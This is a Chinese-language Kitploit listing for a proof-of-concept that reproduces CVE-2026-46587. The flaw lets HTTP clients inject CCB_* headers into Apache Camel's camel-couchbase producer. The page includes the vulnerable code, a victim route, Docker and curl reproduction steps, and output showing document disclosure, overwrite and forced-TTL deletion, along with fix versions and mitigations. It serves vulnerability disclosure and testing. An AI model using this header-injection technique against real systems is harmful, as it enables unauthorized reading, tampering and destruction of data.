Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-46587 — CVE-2026-46587 的复现工具:Apache Camel camel-couchbase CCB_* 标头注入,可导致文档泄露、篡改以及通过 TTL 强制销毁数据(已在 4.14.8/4.18.3/4.21.0 中修复) | Kitploit
工具/GitHubGitHub/oscerd/cve-2026-46587
漏洞分析漏洞利用Web应用程序漏洞利用API安全测试渗透测试学习与教育
GitHuboscerd/cve-2026-46587

CVE-2026-46587

CVE-2026-46587 的复现工具:Apache Camel camel-couchbase CCB_* 标头注入,可导致文档泄露、篡改以及通过 TTL 强制销毁数据(已在 4.14.8/4.18.3/4.21.0 中修复)

查看仓库
21个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

camel-couchbase CCB_* 头部注入复现工具 (CVE-2026-46587)

本项目演示了 Apache Camel 的 camel-couchbase 组件中的一个消息头注入漏洞,跟踪编号为 CVE-2026-46587。该组件读取多个 Exchange 头来控制其行为 — CCB_KEY(文档键)、CCB_ID(文档 ID)、CCB_TTL(文档过期时间)、CCB_DDN(设计文档名称)和 CCB_VN(视图名称)。这些头常量的字符串值(定义在 CouchbaseConstants 中)是简单无前缀的名称,而非其他组件使用的 Camel 前缀名称(例如 CamelSqlQuery)。Camel 的入站 HttpHeaderFilterStrategy 仅拦截以 Camel/camel 开头的头名称,因此这些名称会原封不动地通过入站过滤器。当一条路由在 couchbase 生产者前暴露 HTTP 入口点(例如 platform-http)时,不受信任的 HTTP 客户端可以直接设置这些头,并覆盖路由作者配置的文档 ID、TTL、设计文档名称或视图名称。

该 PoC 演示了同一漏洞的三种不同影响:

  1. 信息披露 — 注入的 CCB_ID 读取调用者作用域之外的文档。
  2. 篡改 — 注入的 CCB_ID 在写入时覆盖受保护的文档。
  3. 数据销毁 — 注入的 CCB_TTL=1 强制调用者自己的文档静默自毁。

公告:https://camel.apache.org/security/CVE-2026-46587.html

漏洞摘要

与 CVE-2025-27636、CVE-2026-40453、CVE-2026-46453 和 CVE-2026-47323 属于相同的头注入家族。此修复与姊妹公告 CVE-2026-46588 (camel-couchdb) 共享其 PR。

技术细节

root@kitploit:~
// CouchbaseConstants (受影响的 4.18.2) — 头名称是裸的、无前缀的字符串:
String HEADER_ID  = "CCB_ID";
String HEADER_TTL = "CCB_TTL";

// CouchbaseProducer.process (受影响的 4.18.2) — id 和 expiry 直接来自这些头:
String id = headers.containsKey(HEADER_ID) ? exchange.getIn().getHeader(HEADER_ID, String.class) : endpoint.getId();
int ttl   = headers.containsKey(HEADER_TTL) ? Integer.parseInt(exchange.getIn().getHeader(HEADER_TTL, String.class)) : DEFAULT_TTL;
// ... setDocument(collection, id, ttl, body, ...) / getDocument(collection, id, ...) / removeDocument(...)

修复(4.14.8 / 4.18.3 / 4.21.0)将头的值重命名为 Camel 约定 — CCB_ID → CamelCouchbaseId,CCB_TTL → CamelCouchbaseTtl,CCB_KEY → CamelCouchbaseKey,CCB_DDN → CamelCouchbaseDesignDocumentName,CCB_VN → CamelCouchbaseViewName — 这样它们就会像其他所有 Camel 控制头一样被入站 HttpHeaderFilterStrategy 拦截。Java 常量字段名称保持不变。

受害者路由

root@kitploit:~
from("platform-http:/save")           // 和 /fetch
    .removeHeaders("Camel*")                                   // 文档化的加固 — 见下文
    .choice().when(header("CCB_ID").isNull())
        .setHeader("CCB_ID", constant("user-draft"))           // 默认为调用者自己的文档
    .end()
    .to("couchbase:couchbase://<host>:8091?bucket=mybucket&username=..&password=..&operation=CCB_PUT");

该路由默认文档 ID 为调用者自己的草稿,并按照文档化的加固方式,在边缘剥离 Camel 控制头命名空间。但这没有帮助:覆盖头命名为 CCB_ID / CCB_TTL,而不是 CamelCouchbaseId / CamelCouchbaseTtl,因此它们既不会被 removeHeaders("Camel*") 剥离,也不会被内置的 HTTP 头过滤器剥离 — 并且生产者会遵循它们。

数据库预置了两个文档:user-draft(调用者自己的)和 system-config(端点绝不能暴露的敏感文档)。

仓库布局

受害者是 Camel 路由及其 Couchbase 数据库;攻击者是一个仅设置请求头的未认证 HTTP 客户端。一个小的 SDK 测试框架独立于漏洞路由,用来预置和读取文档以进行验证。

root@kitploit:~
CVE-2026-46587/
├── pom.xml                 # camel-platform-http + camel-couchbase 4.18.2
├── Dockerfile
├── docker-compose.yml      # couchbase 7.6 (community) + one-shot provisioner + the app
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── CouchbaseSettings.java    # host / bucket / creds / document ids
    │   ├── CouchbaseHarness.java     # SDK harness: seeds + reads docs for verification
    │   ├── VictimRoute.java          # platform-http:/save and /fetch -> couchbase producer
    │   └── ExploitController.java    # attacker: HTTP requests with injected CCB_ID / CCB_TTL headers
    └── resources/
        └── application.properties

先决条件

  • Docker 和 Docker Compose(运行 Couchbase Server + 应用程序)
  • Java 17+ 和 Maven 3.8+(用于构建 jar)

复现步骤

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build          # couchbase -> provisioner -> app (first start pulls ~1.7GB)
# 等待应用日志行 "Started Application",然后:
curl -s http://localhost:8080/exploit/attack
docker compose down -v

compose 文件初始化一个单节点 Couchbase 集群(仅 KV),创建 mybucket 桶和一个 appuser,然后启动应用。使用点网络别名(couchbase.cve.local)作为节点主机名,因为 Couchbase 拒绝短主机名。

预期输出

root@kitploit:~
initial DB state (read straight from Couchbase):
  user-draft    = empty-draft
  system-config = PROTECTED-ORIGINAL-CONFIG

=== 1) Legitimate fetch (no CCB_ID) — the caller's own draft ===
  empty-draft
=== 2) Injected fetch (CCB_ID=system-config) — reads a protected document ===
  PROTECTED-ORIGINAL-CONFIG
  read-override / disclosure: true
=== 3) Legitimate save (no CCB_ID) — writes only the caller's own draft ===
  system-config = PROTECTED-ORIGINAL-CONFIG   (unchanged)
=== 4) Injected save (CCB_ID=system-config) — overwrites a protected document ===
  system-config = ATTACKER-OVERWRITE-PAYLOAD
  write-override / tampering: true
=== 5) Injected save (CCB_TTL=1) — forces the caller's own document to self-destruct ===
  user-draft immediately after save: important quarterly data the user just saved
  user-draft ~2.5s later:            <not found: DocumentNotFoundException>
  ttl-injection / data loss: true

>>> Header-injection proof — an unauthenticated HTTP client controlled the Couchbase operation
>>> via CCB_* headers: read a protected doc (true), overwrote it (true), and destroyed data with a forced TTL (true).

攻击向量

任何从 HTTP 消费者可达的、带有 couchbase 生产者的路由。可注入的头:CCB_ID/CCB_KEY(文档 ID/键 → 读取、覆盖或删除任意文档),CCB_TTL(强制过期 → 数据丢失),以及在消费者侧的 CCB_DDN/CCB_VN(设计文档和视图名称)。

推荐修复

升级到 4.14.8 / 4.18.3 / 4.21.0(公告 PR #23228)。修复后,覆盖头携带 Camel 前缀(CamelCouchbaseId、CamelCouchbaseTtl、…),并在 HTTP 边界像所有其他控制头一样被过滤。

缓解措施

在升级之前,在不受信任的入站消息到达生产者之前剥离受影响的头,例如在 couchbase 端点前添加 .removeHeader("CCB_KEY")、.removeHeader("CCB_ID")、.removeHeader("CCB_TTL")、.removeHeader("CCB_DDN") 和 .removeHeader("CCB_VN"),或者应用一个自定义的 HeaderFilterStrategy 来阻止这些名称。

免责声明

此复现工具仅用于安全研究和授权测试,针对一个已公开披露并修复的漏洞。未经明确许可,请勿在系统上使用。

下载工具
属性值
组件camel-couchbase
受影响的类org.apache.camel.component.couchbase.CouchbaseProducer 读取 CouchbaseConstants.HEADER_ID("CCB_ID")、HEADER_TTL("CCB_TTL")等
CWECWE-20: 输入验证不当
影响HTTP 客户端设置 CCB_* 头 → 覆盖文档 ID / TTL / 设计文档 / 视图 → 信息披露、篡改、数据丢失
前提条件路由将 couchbase 生产者暴露在 HTTP 消费者(例如 platform-http)之后;当消费者未认证时
受影响版本从 4.0.0 到 4.14.8 之前,从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前
修复版本4.14.8, 4.18.3, 4.21.0
修复PR apache/camel#23228(主分支),通过 #23230(4.18.x)/ #23231(4.14.x)回移植
致谢Yu Bao (PayPal)